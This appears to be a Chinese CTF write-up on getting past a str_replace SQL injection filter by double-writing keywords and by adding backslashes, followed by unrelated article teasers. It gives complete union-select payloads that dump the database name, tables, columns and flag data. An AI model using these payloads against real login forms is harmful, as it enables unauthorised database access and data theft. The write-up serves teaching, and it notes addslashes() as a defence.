【str_replace替换导致的绕过】

server/2024/10/21 0:56:33/

双写绕过

请添加图片描述

请添加图片描述

随便输入一个
username=admin&password=s 没有回显测试注入点
username=admin' or 1=1%23&password=s 回显hello admin测试列数
username=admin' order by 3%23&password=s测试回显位
username=admi' union select 1,2,3%23&password=s 没有显示数据,推测可能是某些地方被过滤了使用之前学习的异或注入,测试过滤
username=admin'^(length('union')=5)%23 页面返回hello,admin 所以union被过滤测试select
username=admin'^(length('select')=6)%23 页面返回hello,admin 所以select被过滤尝试双写绕过
username=admi' uniunionon selselectect 1,2,3%23&password=s拿数据库名
username=admi' uniunionon selselectect 1,database(),3%23&password=s拿表名
username=admi' uniunionon selselectect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=s拿列名
username=admi' uniunionon selselectect 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23&password=s拿flag
username=admi' uniunionon selselectect 1,flag,3 from flag%23&password=s

反斜线绕过

请添加图片描述
请添加图片描述
我们通过在单引号前面再加一个反斜杠,把系统替换的反斜杠再次进行一个转译,前面的反斜杠把后面的反斜杠给转译,那么被替换后的反斜杠就失去了转译的作用,\反斜杠就相当于一个没有任何转译作用的反斜杠符号,通常用在文件路径中

请添加图片描述

这里注意数据库中没有admin\,所以返回的是空,这里注意之前的反斜杠被转译了,所以这里就表示admin\,同理我们用oder by 去排序的时候,返回的就为空,因为数据库没有admin\,什么都没有就不能排序,这里order by就不能用了:
请添加图片描述
这里就得换个方法,我们用select挨个试试,因为一般ctf题就没多少列数,直接猜两列,什么都没有:请添加图片描述
我们猜三列的时候就出现了,回显位是2:
请添加图片描述
下面就是拿表名,拿列名:

拿库名
username=adin\' union select 1,database(),3%23&password=s拿表名
username=adin\' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=s拿列名 这里注意flag需要单引号,会被转为\'flag\' 这里单引号被转译,失去了单引号的作用,所以得用十六进制
username=adin\' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666c6167%23&password=s拿数据 
username=adin\' union select 1,flag,3 from flag%23&password=s

这里我们用不了宽字节,是因为源码中没有设置gbk编码,所以无法宽字节绕过,这种考验技巧,实际不会出现,ctf题确经常出现,实际防御中可以用addslashes()这样就会比较安全,单引号和反斜杠都会转译

总结

双写绕过,str_replace只会执行一次替换

反斜线绕过,因为后台程序没有转义反斜线\, 可以通过输入一个反斜线\,转义反斜线\

对于str_replace替换导致的安全问题远不止这些,把union替换为i也会导致绕过


http://www.ppmy.cn/server/133499.html

相关文章

Android12 Settings系列(一)二级设置界面中自定义Fragment使用一级菜单中的图标显示异常

一、前言 这个问题的出现是因为一个需求。笔者接到一个对settings菜单分类管控的需求,就不得不根据已有的需求添加新的界面。 于是笔者对原有的设置进行了如下的修改。 1、在settings中的顶级菜单(一级菜单)中增加一项(图标文字&…

1.2.3 TCP IP模型

TCP/IP模型(接网叔用) 网络接口层 网络层 传输层 应用层 理念:如果某些应用需要“数据格式转换”“会话管理功能”,就交给应用层的特定协议去实现 tip:数据 局部正确不等于全局正确 但是,数据的 全局正…

Element-ui官方示例(Popover 弹出框)

Element-ui官方示例(Popover 弹出框),好用的弹出框。 使用 vue-cli3 我们为新版的 vue-cli 准备了相应的​Element 插件​,你可以用它们快速地搭建一个基于 Element 的项目。 使用 Starter Kit 我们提供了通用的项目模版&#…

期货外盘行情源7个市场CTP推送式服务说明

在期货交易领域,及时、准确的市场行情信息是投资者做出决策的重要依据。为了满足广大期货投资者对国际期货市场信息的迫切需求,我们特别推出了“期货外盘行情源2千每月7个市场CTP推送式”服务。本服务旨在通过高效、稳定的技术手段,为投资者提…

第二章 数据结构

826. 单链表 使用数组模拟链表,因为采用结构体new的方式比较慢,笔试中一般不使用。单链表的用途是邻接表,邻接表的应用场景是存储树和图。 每一个结点存储val(结点值)以及next(指针,指向下个节…

LeetCode-3192 使二进制数组全部等于1的最少操作次数Ⅱ

今天的每日一题就是昨天的延伸,预判成功。 LeetCode-3191 使二进制数组全部等于1的最少操作次数-CSDN博客文章浏览阅读115次。如果数组第一个元素就是0,那么第一个元素是肯定要翻转的,而我们只有从索引0的位置开始翻转才可以翻转到第一个元素…

【Windows】【DevOps】Windows Server 2022 采用WinSW将一个控制台应用程序作为服务启动(方便)

下载WinSW 项目地址: GitHub - winsw/winsw: A wrapper executable that can run any executable as a Windows service, in a permissive license. 下载地址: https://github.com/winsw/winsw/releases/download/v2.12.0/WinSW-x64.exe 参考配置模…

fluent-ffmpeg操作MP3文件深入解析

软考鸭微信小程序 学软考,来软考鸭! 提供软考免费软考讲解视频、题库、软考试题、软考模考、软考查分、软考咨询等服务 引言 fluent-ffmpeg是一个功能强大的Node.js库,它为FFmpeg提供了一个流畅的接口。FFmpeg是一个著名的多媒体框架,以处理音频、视频和…